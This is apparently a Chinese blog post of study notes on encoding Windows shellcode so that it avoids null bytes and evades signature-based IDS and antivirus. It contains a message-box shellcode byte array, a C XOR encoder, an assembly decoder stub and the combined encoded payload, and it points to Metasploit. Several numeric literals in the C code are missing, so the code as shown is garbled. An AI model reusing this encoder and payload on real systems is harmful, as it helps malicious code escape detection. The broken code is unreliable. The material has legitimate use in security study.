Shellcode 受到的限制

1. 大多数情况下 shellcode 中不允许出现 0x00 截断符,这个可以通过特殊指令来做到。

2. 有时候 shellcode 必须为可见的 ASCII 字符或 Unicode 值。

3. 网络攻击时,基于特征的 IDS 会对常见的 shellcode 进行拦截。

解决以上限制的一个办法是,对开发好的 shellcode 时行编码,使其达到限制要求。使用时,先构造解码代码,并放置在 shellcode 头部。

只需变更编码用的密钥,就能使 shellcode 以全新的面貌出现,从而躲过查杀。但对于使用内存查杀的杀毒软件,这个办法并不理想。

Shellcode 编码

实验中用如下代码编码:

 #include<stdio.h>
#include<string.h> char popwnd_general[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90"; // Append a 0x90 as decoding ending-flag int encoder(char *input, unsigned char key, int display)
{
int i,len=strlen(input);
unsigned char *output=(unsigned char*)malloc(len+);
FILE *fp;
if(!output)
{
printf("malloc failed!\n");
return ;
}
for(i=;i<len;i++)
output[i]=input[i]^key;
if(!(fp=fopen("encode.txt","a+")))
{
printf("open encode.txt failed!\n");
return ;
}
fprintf(fp,"\"");
for(i=;i<len;i++)
{
fprintf(fp,"\\x%0.2x",output[i]);
if(display) printf("%0.2x ",output[i]);
if((i+)%==)
{
fprintf(fp,"\"\n\"");
if(display) printf("\n");
}
}
fprintf(fp,"\"\n");
printf("\n");
free(output);
return 0; }
int main()
{
/*
_asm{
lea eax, popwnd_general
push eax
ret
}*/
encoder(popwnd_general,0x44,);
return ;
}

Shellcode 头部的解码过程代码如下:

 int main()
{
__asm
{
add eax,0x14 // 0x14: length of this decoder
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x44 // decoding
mov [eax+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
}
return ;
}

应用解码器的过程如下:

1. 编译解码器,提取 opcode 并整合到编码过的 shellcode 之前

2. 解码器执行前 EAX 需要指向整合过的 shellcode 的地址

3. 编码前的 shellcode 的最后一个必须是 0x90,解码器以此为结束标志

解码器编译后的长度刚好是 0x14,整合到编码过后的 shellcode 头部,结果如下:

 char opcode[]=
"\x83\xC0\x14" // ADD EAX,14
"\x33\xC9" // XOR ECX,ECX
"\x8A\x1C\x08" // MOV BL,BYTE PTR DS:[EAX+ECX]
"\x80\xF3\x44" // XOR BL,44
"\x88\x1C\x08" // MOV BYTE PTR DS:[EAX+ECX],BL
"\x41" // INC ECX
"\x80\xFB\x90" // CMP BL,90
"\x75\xF1" // JNZ SHORT exp_me.004018DD
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31"
"\x41\xd1\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89"
"\xcf\x1d\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa"
"\x42\x7e\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60"
"\x58\x31\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47"
"\x99\x47\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed"
"\x77\x9f\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17"
"\x14\x14\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4"; int main()
{
__asm
{
/*
add eax,0x14 // 0x14: length of this decoder
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x44 // decoding
mov [eax+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
*/
lea eax,opcode
push eax
ret
}
return ;
}

实际应用中,除了自己构造编码解码器之外,更简单通用的方法是运用 Metasploit。

OD: Shellcode Encoding的更多相关文章

  1. OD: Shellcode / Exploit & DLL Trampolining

    看到第五章了. 标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好: http://en.wikipedia.org/wiki/Buffer_overflow#The_ju ...

  2. OD: Writing Small Shellcode

    第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode.原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing S ...

  3. OD: Universal Shellcode

    本节讲如果开发通用的 Shellcode. Shellcode 的组织 shellcode 的组织对成功地 exploit 很重要. 送入缓冲区的数据包括: . 填充物.一般用 0x90 (NOP) ...

  4. 逆向工程学习第二天--动手开发自己的第一个shellcode

    一个简单的c语言添加windows管理员账号的小程序,之前在渗透的时候经常用到,现在拿它来做自己的第一个shellcode. C代码: #pragma comment(lib, "netap ...

  5. 《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考

    I will Make Impossible To I'm possible -----------LittleHann 看了2个多星期.终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现 ...

  6. iconv内容,convmv文件名,unix2dos,dos2unix文件格式转换,od/cut/wc/dd/diff/uniq/nice/du等命令,linux文件名乱码,文件名,文件内容,vim编码设置

    1.enconv文件名编码转换,比如要将一个GBK编码的文件转换成UTF-8编码,操作如下 enconv -L zh_CN -x UTF-8 filename enconv -L GB2312 -x  ...

  7. OD: Format String, SQL Injection, XSS

    Format String 格式化串漏洞 考虑如下的代码: #include<stdio.h> int main() { int a=44,b=77; printf("a=%d, ...

  8. Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

    100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...

  9. gdb windbg and od use

    gdb aslr -- 显示/设置 gdb 的 ASLR asmsearch -- Search for ASM instructions in memory asmsearch "int ...

随机推荐

  1. C#中从元数据

    元数据相对我们来说通俗点 就是你引用里面引用的那些dll比如 对Thread 按F12  不就是提示从元数据,..

  2. Struts2 之 ognl

    OGNL表达式语言(#号的用法) 用法1:访问OGNL上下文和Action上下文,#相当ActionContext.getContext() 1.  如果访问其他Context中的对象,由于他们不是根 ...

  3. JAVA-3-水仙花

    public static void main(String[] args) { // TODO 自动生成的方法存根 int i = 100; while (i < 1000) { int a, ...

  4. 你好,C++(29)脚踏两只船的函数不是好函数 5.4 函数设计的基本规则

    5.4  函数设计的基本规则 函数是C++程序的基本功能单元,就像一块块砖头可以有规则地垒成一座房子,而一个个函数也可以有规则地组织成一个程序.我们在大量使用他人设计好的函数的同时,也在设计大量的函数 ...

  5. js 跨浏览操作

    /* 跨浏览器添加事件绑定  obj : 需要绑定js时间的对象 type:  欲绑定的事件类型,如:click ,mounseover 等事件  不需要添加on fn  :  触发的脚本*/func ...

  6. Css预处理器实践之Sass、Less大比拼

    xwei | 2012-07-07 | 网页重构 什么是CSS预处理器? Css可以让你做很多事情,但它毕竟是给浏览器认的东西,对开发者来说,Css缺乏很多特性,例如变量.常量以及一些编程语法,代码难 ...

  7. NUMBER BASE CONVERSION(进制转换)

    Description Write a program to convert numbers in one base to numbers in a second base. There are 62 ...

  8. UITableView 小节-备

    UITableView 让列表自动滑动(定位)到某一行 NSIndexPath*scrollIndexPath = [NSIndexPathindexPathForRow:10inSection:0] ...

  9. MPMoviePlayerController 电影播放器—备用

    MPMoviePlayerController 与AVAudioPlayer有点类似,前者播放视频,后者播放音频,不过也有很大不同,MPMoviePlayerController 可以直接通过远程UR ...

  10. 使用minidwep-gtk-PJ-wifi教程中文版